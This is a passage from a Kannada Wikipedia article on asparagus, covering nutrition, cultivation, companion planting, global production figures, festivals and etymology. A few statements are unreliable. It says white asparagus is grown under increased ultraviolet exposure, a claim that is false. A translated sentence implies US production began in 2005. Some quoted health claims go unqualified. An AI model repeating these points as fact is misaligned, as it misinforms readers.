"ಬಿಳಿಯ ಬಂಗಾರ" ಎಂಬ ಅಡ್ಡಹೆಸರನ್ನುಳ್ಳ ಸ್ಥಳೀಯ ಬಿಳಿ ಶತಾವರಿಗಾಗಿ ಒಂದು ಬಲವಾದ ಕಾಲೋಚಿತ ಅನುಸರಣೆ ಇರುವುದನ್ನು ಕಾಣಬಹುದು. [[ಚಿತ್ರ:Asparagus officinalis dewdrop.JPG|thumb|ಇಬ್ಬನಿ ಬಿಂದುಗಳಿಂದ ಕೂಡಿದ ಅಸ್ಪ್ಯಾರಗಸ್ ಅಫಿಷಿನಾಲಿಸ್‌.]] [[ಚಿತ್ರ:Illustration Asparagus officinalis0b.jpg|left|thumb|200px|ಶತಾವರಿಯ ಜರ್ಮನ್‌ ಸಸ್ಯವಿಜ್ಞಾನದ ಸಚಿತ್ರ ವಿವರಣೆ]] === ಔಷಧೀಯ ಉಪಯೋಗಗಳು === [[ಗೇಲನ್‌]] ಎಂಬ ಎರಡನೇ ಶತಮಾನದ ವೈದ್ಯನೊಬ್ಬ ಶತಾವರಿಯನ್ನು "ಚೊಕ್ಕಟಗೊಳಿಸುವ ಮತ್ತು ವಾಸಿಮಾಡುವ" ಗುಣವನ್ನು ಹೊಂದಿರುವ ಸಸ್ಯ ಎಂದು ವಿವರಿಸಿದ್ದಾನೆ.ಶತಾವರಿಯು [[ಫೋಲೇಟ್‌]] ಮತ್ತು [[ಪೊಟಾಷಿಯಂ]]ನ ಒಂದು ಕಡಿಮೆ-[[ಕ್ಯಾಲೊರಿ]]ಯ ಮೂಲವಾಗಿದೆ ಎಂದು ಪೋಷಣಶಾಸ್ತ್ರದ ಅಧ್ಯಯನಗಳು ತೋರಿಸಿವೆ.ಇದರ ತೊಟ್ಟುಗಳಲ್ಲಿ [[ಆಕ್ಸಿಡೀಕಾರಕ ನಿರೋಧಕಗಳ]] (ಅಂದರೆ, ಆಂಟಿ ಆಕ್ಸಿಡೆಂಟುಗಳ) ಪ್ರಮಾಣ ಹೆಚ್ಚು ಎನ್ನಬಹುದು. "ಶತಾವರಿಯು ಅತ್ಯಾವಶ್ಯಕ ಪೋಷಕಾಂಶಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ: ಶತಾವರಿಯ ಆರು ಚೂಪುಕಾಂಡಗಳು ಸುಮಾರು 135 ಮೈಕ್ರೋಗ್ರಾಂಗಳಷ್ಟು (μg) ಫೋಲೇಟ್‌‌ನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಅಂದರೆ ವಯಸ್ಕರು ಸೇವಿಸಬೇಕಾದ ಶಿಫಾರಿತ ದಿನವಹಿ ಸೇವನಾ (RDI-ರೆಕಮಂಡೆಡ್‌ ಡೇಲಿ ಇನ್‌ಟೇಕ್‌) ಪ್ರಮಾಣದ ಸರಿಸುಮಾರು ಅರ್ಧದಷ್ಟು ಭಾಗವನ್ನು ಇವು ಹೊಂದಿವೆ. ಜೊತೆಗೆ, 545 μgನಷ್ಟು ಬೀಟಾ ಕ್ಯಾರೋಟಿನ್‌, ಮತ್ತು 20 ಮಿಲಿಗ್ರಾಂಗಳಷ್ಟು ಪೊಟಾಷಿಯಂನ್ನು ಶತಾವರಿಯ ಈ ಆರು ಚೂಪುಕಾಂಡಗಳು ಹೊಂದಿವೆ" ಎಂದು 'ರೀಡರ್ಸ್‌ ಡೈಜೆಸ್ಟ್‌' ನಿಯತಕಾಲಿಕದಲ್ಲಿ ಪ್ರಕಟವಾದ ಒಂದು ಲೇಖನವು ಸೂಚಿಸುತ್ತದೆ. ಹೃದ್ರೋಗದಲ್ಲಿ ಸೂಚಿತವಾಗಿರುವ ಹೋಮೋಸಿಸ್ಟೀನ್‌ ಎಂಬ ಒಂದು ವಸ್ತುವನ್ನು ದಮನಮಾಡುವಲ್ಲಿ ಫೋಲೇಟ್‌ ಪ್ರಮುಖ ಪಾತ್ರವನ್ನು ವಹಿಸುತ್ತದೆ ಎಂದು ಅಧ್ಯಯನಗಳು ಸೂಚಿಸುತ್ತವೆ. ಗರ್ಭಿಣಿ ತಾಯಂದಿರಿಗೂ ಸಹ ಫೋಲೇಟ್‌ ಅತ್ಯಾವಶ್ಯಕವಾಗಿದೆ. ಏಕೆಂದರೆ ಶಿಶುಗಳಲ್ಲಿನ ನರವ್ಯೂಹದ ನಳಿಕೆಗಳ ನ್ಯೂನತೆಗಳಂಥ ವಿಷಮ ಪರಿಸ್ಥಿತಿಗಳಿಂದ ಇದು ರಕ್ಷಿಸುತ್ತದೆ. ಹೇರಳವಾಗಿ ಪೊಟಾಷಿಯಂನ್ನು ಪಡೆಯುವುದರಿಂದ ದೇಹದಿಂದ ಕ್ಯಾಲ್ಷಿಯಂ ಅಂಶವು ನಷ್ಟವಾಗುವುದನ್ನು ಕಡಿಮೆ ಮಾಡಬಹುದು ಎಂದು ಹಲವಾರು ಅಧ್ಯಯನಗಳು ಸೂಚಿಸಿವೆ.ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ, ಹಸಿರು ಶತಾವರಿಯಲ್ಲಿ C ಜೀವಸತ್ವವು ಹೇರಳವಾಗಿದೆ.<ref>http://health.learninginfo.org/asparagus-nutrition.htm</ref> ದೇಹವು ಕೊಲಾಜೆನ್‌ನ್ನು ಉತ್ಪಾದಿಸಲು ಹಾಗೂ ಅದರ ಮಟ್ಟವನ್ನು ನಿರ್ವಹಿಸಿಕೊಂಡು ಹೋಗುವಲ್ಲಿ C ಜೀವಸತ್ವವು ನೆರವಾಗುತ್ತದೆ. ಒಂದು ಅಚ್ಚರಿಯ ಪ್ರೊಟೀನು ಎಂದು ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿರುವ ಕೊಲಾಜೆನ್‌, ದೇಹದ ಎಲ್ಲಾ ಜೀವಕೋಶಗಳು ಹಾಗೂ ಅಂಗಾಂಶಗಳನ್ನೂ ಒಟ್ಟಾಗಿ ಹಿಡಿದಿಡುವಲ್ಲಿ ನೆರವಾಗುತ್ತದೆ.'ಹೋಲ್ ಫುಡ್ಸ್‌ ಕಂಪ್ಯಾನಿಯನ್‌: ಎ ಗೈಡ್‌ ಫಾರ್ ಅಡ್ವೆಂಚರಸ್‌ ಕುಕ್ಸ್‌, ಕ್ಯೂರಿಯಸ್ ಷಾಪರ್ಸ್‌ ಅಂಡ್‌ ಲವರ್ಸ್‌ ಆಫ್ ನ್ಯಾಚುರಲ್ ಫುಡ್ಸ್‌' ಎಂಬ ಪುಸ್ತಕವನ್ನು ಬರೆದ ಡಿ.ಆನ್‌ಸ್ಟಾಡ್‌ ಎಂಬಾತ, "ಶತಾವರಿಯು ತನ್ನ ಔಷಧೀಯ ಗುಣಗಳ ಕಾರಣದಿಂದಾಗಿ ಬಹಳ ಕಾಲದಿಂದಲೂ ಗುರುತಿಸಲ್ಪಟ್ಟಿದೆ" ಎಂದು ಬರೆದಿದ್ದಾನೆ. "ಮೂತ್ರವರ್ಧಕವೊಂದರ ಪಾತ್ರವನ್ನು ವಹಿಸುವ ವಸ್ತುಗಳನ್ನು ಶತಾವರಿಯು ಒಳಗೊಂಡಿದೆ. ನಮ್ಮನ್ನು ಆಯಾಸಗೊಳ್ಳುವಂತೆ ಮಾಡುವ ಅಮೋನಿಯಾವನ್ನು ಇದು ತಟಸ್ಥಗೊಳಿಸುತ್ತದೆ, ಮತ್ತು ಸಣ್ಣ ರಕ್ತನಾಳಗಳು ಛಿದ್ರವಾಗದಂತೆ ಅವುಗಳನ್ನು ರಕ್ಷಿಸುತ್ತದೆ. ಶತಾವರಿಯಲ್ಲಿನ ನಾರಿನ ಅಂಶವು ಅದನ್ನೊಂದು ವಿರೇಚಕವನ್ನಾಗಿಸಿದೆ." == ಸಾಗುವಳಿ == {{See also|List of asparagus diseases}} ಶತಾವರಿಯು ಸಮುದ್ರತೀರದ ಸ್ವಾಭಾವಿಕ ನೆಲೆಗಳಲ್ಲಿ ಆಗಿಂದಾಗ್ಗೆ ಹುಟ್ಟುತ್ತದೆಯಾದ್ದರಿಂದ, ಸಾಮಾನ್ಯ ಕಳೆಗಳು ಬೆಳೆದುಕೊಳ್ಳುವುದಕ್ಕೆ ತುಂಬಾ ಲವಣಯುಕ್ತವಾಗಿ ಪರಿಣಮಿಸುವ ಮಣ್ಣುಗಳಲ್ಲಿ ಇದು ಹುಲುಸಾಗಿ ಬೆಳೆಯುತ್ತದೆ. ಈ ದೃಷ್ಟಿಯಿಂದ, ಶತಾವರಿಯನ್ನು ಬೆಳೆಯಲೆಂದು ಉದ್ದೇಶಿಸಲಾದ ಜಮೀನುಗಳಲ್ಲಿ ಕಳೆಗಳನ್ನು ದಮನಮಾಡಲು ಕೊಂಚ ಉಪ್ಪನ್ನು ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಬಳಸಲಾಗುತ್ತಿತ್ತು; ಆದರೆ ಹೀಗೆ ಮಾಡುವುದರಿಂದ ಸದರಿ ಜಮೀನಿನ ಮಣ್ಣು ಮತ್ತಾವುದೇ ಬೆಳೆ ಬೆಳೆಯಲು ಯೋಗ್ಯವಾಗಿ ಉಳಿಯುವುದಿಲ್ಲವಾದ್ದರಿಂದ ಈ ವಿಧಾನವು ಅನನುಕೂಲತೆಯನ್ನು ತಂದೊಡ್ಡುತ್ತದೆ. ಕೆಲವೊಂದು ಪ್ರದೇಶಗಳು ಇತರ ಬೆಳೆಗಳನ್ನು ಬೆಳೆಯುವುದಕ್ಕಿಂತ ಶತಾವರಿಯನ್ನು ಬೆಳೆಯಲು ಉತ್ತಮವಾಗಿವೆ. ಮಣ್ಣಿನ ಫಲವತ್ತತೆಯು ಒಂದು ಬೃಹತ್ ಅಂಶವಾಗಿ ಕಂಡುಬರುತ್ತದೆ. ಸಸ್ಯದ "ಅಗ್ರಭಾಗಗಳನ್ನು" ಚಳಿಗಾಲದಲ್ಲಿ ನೆಡಲಾಗುತ್ತದೆ, ಮತ್ತು ವಸಂತ ಋತುವಿನಲ್ಲಿ ಮೊದಲ ಚಿಗುರುಗಳು ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತವೆ; ಮೊದಲ ಬಿಡಿಸುವಿಕೆಗಳು ಅಥವಾ "ಕಿತ್ತ ಸಣ್ಣಕಾಯಿಗಳು" ಸ್ಪ್ರೂ ಶತಾವರಿ ಎಂದು ಹೆಸರಾಗಿವೆ.ಸ್ಪ್ರೂ ಶತಾವರಿಗಳು ತೆಳುವಾದ ಕಾಂಡಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ.<ref>{{cite web |url=http://www.bbc.co.uk/food/glossary/s.shtml?sprue_asparagus |title=BBC - Food - Glossary - 'S' |accessdate=2007-06-08 |format= |work=BBC Online |archiveurl=https://archive.today/20120803151929/http://www.bbc.co.uk/food/sprue_asparagus |archivedate=2012-08-03 |url-status=live }}</ref> [[ಚಿತ್ರ:Green Asparagus New York 11 May 2006.jpg|thumb|right|ನ್ಯೂಯಾರ್ಕ್‌ ನಗರದಲ್ಲಿನ ಮಾರಾಟಕ್ಕಾಗಿರುವ ಹಸಿರು ಶತಾವರಿ.]] [[ಸ್ಪಾರ್ಗೆಲ್‌‌]] ಎಂದು ಕರೆಯಲಾಗುವ ಬಿಳಿ ಶತಾವರಿಯನ್ನು ಬೆಳೆಯುವಾಗ ಸಸ್ಯಗಳಿಗೆ ಬೇಕಾದ ಬೆಳಕನ್ನು ಕೊಡದೆ, ಅವು ಒಡ್ಡಿಕೊಳ್ಳುವ ನೇರಳಾತೀತ ಕಿರಣಗಳನ್ನು ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿ ಒದಗಿಸಲಾಗುತ್ತದೆ. ಈ ಪ್ರಭೇದವು ಹಸಿರು ಶತಾವರಿ ಪ್ರಭೇದಕ್ಕಿಂತ ಕಡಿಮೆ ಕಹಿಯನ್ನು ಹೊಂದಿದ್ದು, [[ನೆದರ್‌ಲೆಂಡ್ಸ್‌]], [[ಫ್ರಾನ್ಸ್‌]], [[ಬೆಲ್ಜಿಯಂ]] ಮತ್ತು [[ಜರ್ಮನಿ]]ಯಲ್ಲಿ ಅತಿಹೆಚ್ಚು ಜನಪ್ರಿಯವಾಗಿದೆ. ಈ ದೇಶಗಳಲ್ಲಿ ವಾರ್ಷಿಕವಾಗಿ 57,000 ಟನ್ನುಗಳಷ್ಟು (ಗ್ರಾಹಕರ ಬೇಡಿಕೆಗಳ 61%ನಷ್ಟು ಭಾಗ) ಬಿಳಿ ಶತಾವರಿಯನ್ನು ಬೆಳೆಯಲಾಗುತ್ತದೆ.<ref>{{cite web | url=http://www.germanfoods.org/consumer/documents/WhiteAsparagusPressRelease.doc | publisher=German Agricultural Marketing Board | title=Asparagus: The King of Vegetables | author=Molly Spence | accessdate=2007-02-26 | format=DOC | archive-date=2007-10-13 | archive-url=https://web.archive.org/web/20071013032017/http://www.germanfoods.org/consumer/documents/WhiteAsparagusPressRelease.doc | url-status=dead }}</ref> ಉನ್ನತ ಮಟ್ಟದ ಸಕ್ಕರೆ ಅಂಶ ಮತ್ತು ಕಡಿಮೆ ಪ್ರಮಾಣದ [[ನಾರುಪದಾರ್ಥ]]ದ ಅಂಶಗಳನ್ನು ಹೊಂದುವ ಮೂಲಕ ನೇರಳೆ ಶತಾವರಿಯು ಹಸಿರು ಶತಾವರಿ ಹಾಗೂ ಬಿಳಿ ಶತಾವರಿಗಳಿಗಿಂತ ಭಿನ್ನವಾಗಿದೆ. ನೇರಳೆ ಶತಾವರಿಯನ್ನು ಮೊಟ್ಟಮೊದಲ ಬಾರಿಗೆ [[ಇಟಲಿ]]ಯಲ್ಲಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಯಿತು ಹಾಗೂ ''ವಯೊಲೆಟೊ ಡಿ'ಆಲ್ಬೆಂಗಾ'' ಎಂಬ ಪ್ರಭೇದನಾಮದ ಅಡಿಯಲ್ಲಿ ಅದಕ್ಕೆ ವಾಣಿಜ್ಯ ಸ್ವರೂಪವನ್ನು ನೀಡಲಾಯಿತು. ಅಲ್ಲಿಂದೀಚೆಗೆ, ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳು ಮತ್ತು ನ್ಯೂಜಿಲೆಂಡ್‌ನಂಥ ದೇಶಗಳಲ್ಲಿ ತಳಿ-ಬೆಳೆಸುವಿಕೆಯ ಕಾರ್ಯವು ಮುಂದುವರಿದುಕೊಂಡುಬಂದಿದೆ.{{Verify source|date=July 2007}}ವಾಯವ್ಯ ಭಾಗದ ಯುರೋಪ್‌ನಲ್ಲಿ, ಶತಾವರಿ ಉತ್ಪಾದನೆಯ ಋತುವು ಚಿಕ್ಕದಾಗಿದೆ. ಏಪ್ರಿಲ್‌ 23ರಂದು ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಆರಂಭವಾಗುವ ಈ ಅವಧಿಯು [[ನಡುಬೇಸಿಗೆಯ ದಿನ]]ದಂದು ಅಂತ್ಯಗೊಳ್ಳುತ್ತದೆ.<ref>[http://www.oxfordtimes.co.uk/leisure/4329516.Time_to_glory_in_asparagus_again/ ''ಆಕ್ಸ್‌ಫರ್ಡ್‌ ಟೈಮ್ಸ್‌'' : "ಟೈಮ್‌ ಟು ಗ್ಲೋರಿ ಇನ್‌ ಆಸ್ಪ್ಯಾರಗಸ್‌ ಎಗೇನ್‌".]</ref> === ಒಡನಾಡಿ ಸಸ್ಯ ನೆಡುವಿಕೆ === ಟೊಮ್ಯಾಟೊ ಸಸ್ಯಗಳಿಗೆ ಶತಾವರಿ ಸಸ್ಯವು ಒಂದು ಪ್ರಯೋಜನಕಾರಿ [[ಒಡನಾಡಿ ಸಸ್ಯ]]ವಾಗಿದೆ. ಟೊಮ್ಯಾಟೊ ಸಸ್ಯಗಳ ಇತರ ಸಾಮಾನ್ಯ ಒಡನಾಡಿ ಸಸ್ಯಗಳು ಮಾಡುವಂತೆಯೇ, ಟೊಮ್ಯಾಟೊ ಸಸ್ಯವು ಶತಾವರಿಯ ಜೀರುಂಡೆ ಕೀಟವನ್ನು ಹಿಮ್ಮೆಟ್ಟಿಸುತ್ತದೆ. ಇದೇ ರೀತಿಯಲ್ಲಿ ಟೊಮ್ಯಾಟೊ ಸಸ್ಯಗಳಿಗೆ ಹಾನಿಯನ್ನುಂಟುಮಾಡುವ ನೆಮಟೋಡ್‌ ವರ್ಗಕ್ಕೆ ಸೇರಿದ ಒಂದಷ್ಟು ಬೇರಿನ ಹಾನಿಕಾರಕ ಹುಳುಗಳನ್ನು ಶತಾವರಿಯು ಹಿಮ್ಮೆಟ್ಟಿಸಬಹುದು.<ref>http://www.ibiblio.org/pfaf/cgi-bin/arr_html?Asparagus+officinalis</ref> == ವಾಣಿಜ್ಯೋದ್ದೇಶದ ಉತ್ಪಾದನೆ == [[ಚಿತ್ರ:2005asparagus.PNG|thumb|center|600px|2005ರಲ್ಲಿನ ಶತಾವರಿ ಉತ್ಪಾದನೆಯು ಅತ್ಯುನ್ನತ ಉತ್ಪಾದಕನ ಒಂದು ಶೇಕಡಾವಾರು ಪ್ರಮಾಣವಾಗಿ ತೋರಿಸಲ್ಪಟ್ಟಿರುವುದು (ಚೀನಾ – 5,906,000 ಟನ್ನುಗಳು). [32] [33][34]]] 2007ರಲ್ಲಿದ್ದಂತೆ, [[ಪೆರು]] ದೇಶವು ವಿಶ್ವದ ಅಗ್ರಗಣ್ಯ ಶತಾವರಿ ರಫ್ತುದಾರನಾಗಿದ್ದರೆ, ನಂತರದ ಸ್ಥಾನಗಳನ್ನು [[ಚೀನಾ]] ಮತ್ತು [[ಮೆಕ್ಸಿಕೊ]] ಆಕ್ರಮಿಸಿಕೊಂಡಿವೆ.<ref>{{cite web | url=http://www.fas.usda.gov/htp/Hort_Circular/2005/08-05/Asparagus%20article.pdf | publisher=World Horticultural Trade & U.S. Export Opportunities | title=World Asparagus Situation & Outlook | author=United States Department of Agriculture | accessdate=2007-02-27 | format=PDF | archive-date=2012-10-18 | archive-url=https://web.archive.org/web/20121018213610/http://www.fas.usda.gov/htp/Hort_Circular/2005/08-05/Asparagus%20article.pdf | url-status=dead }}</ref> ಶತಾವರಿಯ ಅಗ್ರಗಣ್ಯ ಆಮದುದಾರ ದೇಶಗಳಲ್ಲಿ (2004) ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳು (92,405 ಟನ್ನುಗಳು), ಹಾಗೂ ನಂತರದ ಸ್ಥಾನಗಳಲ್ಲಿ [[ಐರೋಪ್ಯ ಒಕ್ಕೂಟ]] (ಬಾಹ್ಯ ವ್ಯಾಪಾರ) (18,565 ಟನ್ನುಗಳು), ಮತ್ತು [[ಜಪಾನ್‌]] (17,148 ಟನ್ನುಗಳು) ಸೇರಿದ್ದವು.<ref>ಜಾಗತಿಕ ವ್ಯಾಪಾರ ಭೂಪಟ ಮತ್ತು [[U.S. ಸೆನ್ಸಸ್‌ ಬ್ಯೂರೋ]]ದ ಅಂಕಿ-ಅಂಶಗಳ ಅನುಸಾರವಾಗಿ</ref> 2005ರ ವರ್ಷದಲ್ಲಿ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳಲ್ಲಿ ಉತ್ಪಾದನೆಯು ಪ್ರಾರಂಭವಾಯಿತು {{convert|218.5|km2|acre}} ಮತ್ತು 90,200 ಟನ್ನುಗಳಷ್ಟು<ref name="nass">{{cite book | author=USDA | title=Vegetables 2005 Summary | month=January | year=2006 | publisher=National Agricultural Statistics Service}}</ref> ಇಳುವರಿಯೊಂದಿಗೆ ವಿಶ್ವದ ಮೂರನೇ ಅತಿದೊಡ್ಡ ಉತ್ಪಾದಕನೆಂಬ ಹೆಸರು ಅವುಗಳ ಪಾಲಾಯಿತು. ಇದಕ್ಕೂ ಮುಂಚಿನ ಸ್ಥಾನಗಳಲ್ಲಿ ಚೀನಾ (5,906,000 ಟನ್ನುಗಳು) ಹಾಗೂ ಪೆರು (206,030 ಟನ್ನುಗಳು) ದೇಶಗಳಿದ್ದವು.<ref>{{cite web | url=http://faostat.fao.org/site/336/DesktopDefault.aspx?PageID=336 | title = Food and Agriculture Organisation Statistics (FAOSTAT) | accessdate=2007-11-11}}</ref> [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ]], [[ಮಿಚಿಗನ್‌]], ಮತ್ತು [[ವಾಷಿಂಗ್ಟನ್‌]]ಗಳಲ್ಲಿ U.S. ಉತ್ಪಾದನೆಯನ್ನು ಕೇಂದ್ರೀಕರಿಸಲಾಯಿತು.<ref name="nass" /> ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ [[ಸ್ಯಾಕ್ರೊಮೆಂಟೊ-ಸ್ಯಾನ್ ಜೊವಾಕಿನ್ ನದಿಯ ನದೀ ಮುಖಜಭೂಮಿ]] ವಲಯದಲ್ಲಿ ಈ ಬೆಳೆಯು ಗಮನಾರ್ಹವಾದ ಪ್ರಗತಿಯನ್ನು ಸಾಧಿಸಿದ್ದು, ಇದರ ಸಂಭ್ರಮಾಚರಣೆಗಾಗಿ [[ಸ್ಟಾಕ್‌ಟನ್‌]] ನಗರವು ಪ್ರತಿವರ್ಷವೂ ಒಂದು ಮೇಳವನ್ನು ಹಮ್ಮಿಕೊಳ್ಳುತ್ತದೆ. ಇದೇ ರೀತಿಯಲ್ಲಿ ಮಿಚಿಗನ್‌ನ ಹಾರ್ಟ್‌ ನಗರವು ಒಂದು ಮೆರವಣಿಗೆ ಹಾಗೂ ಶತಾವರಿ ರಾಣಿಯ ವೇಷದೊಂದಿಗೆ ಮೇಳವನ್ನು ಸಂಪೂರ್ಣಗೊಳಿಸುತ್ತದೆ. [[ವೊರ್ಸೆಸ್ಟರ್‌ಷೈರ್‌]]ನಲ್ಲಿನ [[ಈವ್‌ಶಾಮ್‌ ಕಣಿವೆ]]ಯು ಉತ್ತರ ಯುರೋಪ್‌ನೊಳಗಿನ ಅತಿದೊಡ್ಡ ಉತ್ಪಾದಕ ಎಂದು ಪ್ರಚಾರ ಪಡೆದಿದೆ. ಸ್ಟಾಕ್‌ಟನ್‌ನಂತೆಯೇ ಸಂಭ್ರಮಾಚರಣೆಯಲ್ಲಿ ತೊಡಗುವ ಈ ಪ್ರದೇಶವು, ಪ್ರತಿವರ್ಷವೂ ಒಂದು ವಾರದ ಅವಧಿಯ ಮೇಳವನ್ನು ಹಮ್ಮಿಕೊಳ್ಳುತ್ತದೆ. ಅತ್ಯುತ್ತಮ ಗುಣಮಟ್ಟದ ಬೆಳೆಗಳ ಹರಾಜುಗಳು ಮತ್ತು ಬ್ರಿಟಿಷ್‌ ಶತಾವರಿ ಮೇಳದ ಒಂದು ಭಾಗವಾಗಿ ಸ್ಥಳೀಯರು ಶತಾವರಿಯ ಚೂಪುಕಾಂಡಗಳಂತೆ ವೇಷಧರಿಸಿಕೊಳ್ಳುವುದನ್ನು ಕಣಿವೆಯಲ್ಲಿನ ಈ ಮೇಳವು ಒಳಗೊಳ್ಳುತ್ತದೆ.<ref>{{cite web | url=http://www.british-asparagus.co.uk/asparagus_festival.php#cotswolds | title=British Aparagus Festival | access-date=2009-12-17 | archive-date=2009-12-15 | archive-url=https://web.archive.org/web/20091215033702/http://www.british-asparagus.co.uk/asparagus_festival.php#cotswolds | url-status=dead }}</ref> [[ನ್ಯೂರೆಂಬರ್ಗ್‌]]ನ ಬವೇರಿಯನ್‌ ನಗರದಲ್ಲೂ ಒಂದು ನಗರ ಮೇಳವು ಅಸ್ತಿತ್ವದಲ್ಲಿದ್ದು, ಏಪ್ರಿಲ್‌ ತಿಂಗಳಿನಲ್ಲಿ ಒಂದು ವಾರದವರೆಗೆ ಇದನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. ಸ್ಥಳೀಯವಾಗಿ ಬೆಳೆಯಲಾದ ಬಿಳಿ ಶತಾವರಿ, ಅಂದರೆ "ಸ್ಪಾರ್ಗೆಲ್‌"ನ ಗೌರವಾರ್ಥವಾಗಿ ಈ ಮೇಳವನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ.ಆ ವಲಯದಲ್ಲಿರುವ, ಅತಿವೇಗವಾಗಿ ಸ್ಪಾರ್ಗೆಲ್‌ನ್ನು ಕೀಳುವವರನ್ನು ಕಂಡುಹಿಡಿಯಲು ಅಲ್ಲಿ ಒಂದು ಸ್ಪರ್ಧೆಯೂ ಇರುತ್ತದೆ. ಗುಣಗ್ರಾಹಿ ಬೆಂಬಲಕ್ಕೆ ನೆರವಾಗುವ ದೃಷ್ಟಿಯಿಂದ ಪ್ರೇಕ್ಷಕರು ಹೇರಳ ಪ್ರಮಾಣದಲ್ಲಿ ಸ್ಥಳೀಯ ಮದ್ಯಗಳು ಹಾಗೂ ಬಿಯರ್‌ನ್ನು ಸೇವಿಸುವುದನ್ನು ಈ ಸ್ಪರ್ಧೆಯ ಅವಧಿಯಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಕಾಣಬಹುದು.<ref>{{cite web | url=http://www.nuernberg.de/internet/portal_e/index.html |title=Official internet portal of the City of Nuremberg}}</ref> == ದೇಶೀಯ ಹೆಸರುಗಳು ಮತ್ತು ವ್ಯುತ್ಪತ್ತಿ == [[ಚಿತ್ರ:AsparagusFernMilduraVictoriaAustralia.jpg|right|thumb|ಆಸ್ಟ್ರೇಲಿಯಾದ ವಿಕ್ಟೋರಿಯಾದ ಮಿಲ್‌ಡ್ಯೂರಾದಲ್ಲಿನ ಶತಾವರಿ]] ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಅಫಿಷಿನಾಲಿಸ್‌'' ಎಂಬುದು ಸರಳವಾಗಿ "ಆಸ್ಪ್ಯಾರಗಸ್‌" (ಶತಾವರಿ) ಎಂಬ ಹೆಸರಿನಿಂದಲೇ ವ್ಯಾಪಕವಾಗಿ ಗುರುತಿಸಲ್ಪಟ್ಟಿದೆ. ಆದರೆ "ಆಸ್ಪ್ಯಾರಗಸ್‌" ಎಂಬ ಹೆಸರನ್ನು ತಳುಕುಹಾಕಿಕೊಂಡಿರುವ ಒಂದಷ್ಟು ಸಂಬಂಧಿಸದ ಸಸ್ಯಜಾತಿಯೊಂದಿಗೆ ಇದನ್ನು ಗುರುತಿಸಿ ಗೊಂದಲಕ್ಕೀಡಾಗುವ ಸಾಧ್ಯತೆಗಳಿವೆ. ಉದಾಹರಣೆಗೆ, ''[[ಆರ್ನಿಥೋಗ್ಯಾಲಂ ಪೈರೆನೈಕಮ್‌]]'' ಎಂಬ ಪ್ರಭೇದವನ್ನು ಅದರ ಖಾದ್ಯ ಚಿಗುರುಗಳಿಂದಾಗಿ "ಪ್ರಷ್ಯನ್‌ ಆಸ್ಪ್ಯಾರಗಸ್‌" (ಪ್ರಷ್ಯನ್ ಶತಾವರಿ) ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ."ಆಸ್ಪ್ಯಾರಗಸ್‌"" ಎಂಬ ಆಂಗ್ಲಪದವು ಶಿಷ್ಟ [[ಲ್ಯಾಟಿನ್‌]]ನಿಂದ ತನ್ನ ಹೆಸರನ್ನು ಪಡೆದಿದ್ದರೂ, ಸದರಿ ಸಸ್ಯವು ಹಿಂದೊಮ್ಮೆ ಆಂಗ್ಲಭಾಷೆಯಲ್ಲಿ ''ಸ್ಪೆರೇಜ್‌'' ಎಂಬ ಹೆಸರಿನಿಂದಲೇ ಕರೆಯಲ್ಪಡುತ್ತಿತ್ತು. ಈ ಹೆಸರು [[ಮಧ್ಯಯುಗದ ಲ್ಯಾಟಿನ್‌]] ಪದವಾದ ''ಸ್ಪ್ಯಾರಗಸ್‌'' ನಿಂದ ಬಂದಿತ್ತು. ಸ್ವತಃ ಈ ಪದವು [[ಗ್ರೀಕ್‌‌]] ಭಾಷೆಯ ''ಆಸ್ಫಾರಗೊಸ್‌'' ಅಥವಾ ''ಆಸ್ಪ್ಯಾರಗೊಸ್‌'' ನಿಂದ ಜನ್ಯವಾಗಿದ್ದರೆ, ಗ್ರೀಕ್‌ ಪದವು [[ಪರ್ಷಿಯನ್‌]] ಭಾಷೆಯ ''ಆಸ್ಪ್ಯಾರಾಗ್‌'' ನಿಂದ ಹುಟ್ಟಿಕೊಂಡಿದೆ. ಪರ್ಷಿಯನ್ ಭಾಷೆಯಲ್ಲಿ ಆಸ್ಪ್ಯಾರಾಗ್ ಎಂದರೆ "ಮೊಳಕೆ" ಅಥವಾ "ಚಿಗುರು" ಎಂದರ್ಥ. [[ಚಿತ್ರ:SkFernlikePlant.jpg|thumb|left|ಕೆನಡಾದ ಸಾಸ್ಕಚೆವಾನ್‌ ಪ್ರಾಂತದಲ್ಲಿ ಸ್ಥಳೀಯವಾದ ಪ್ರೌಢ ಶತಾವರಿಯು ಬೀಜಕೋಶಗಳನ್ನು ತೋರಿಸುತ್ತಿರುವುದು.]] ಕೆಲವೊಂದು ಪ್ರದೇಶಗಳಲ್ಲಿ "ಗುಬ್ಬಚ್ಚಿ ಹುಲ್ಲು" ಎಂದು ಕರೆಯಲಾಗುವ ಸಸ್ಯದೊಂದಿಗೆ ಶತಾವರಿಯ [[ಗ್ರಂಥಪಾಠವು ಕೆಡಿಸಲ್ಪಟ್ಟಿತ್ತು]]; ವಾಸ್ತವವಾಗಿ, "''ಗುಬ್ಬಚ್ಚಿ-ಹುಲ್ಲು'' ಸಸ್ಯವು ತುಂಬಾ ಸಾರ್ವತ್ರಿಕವಾಗಿದ್ದು, ಇದರ ಪ್ರಭಾವ ಎಷ್ಟಿದೆಯೆಂದರೆ ಠೀವಿ ಮತ್ತು ಡೌಲಿನ ಒಂದು ಲಕ್ಷಣವನ್ನು ''ಶತಾವರಿ'' ಯು ಹೊಂದಿದೆ" ಎಂದು [[ಜಾನ್‌ ವಾಕರ್‌]] 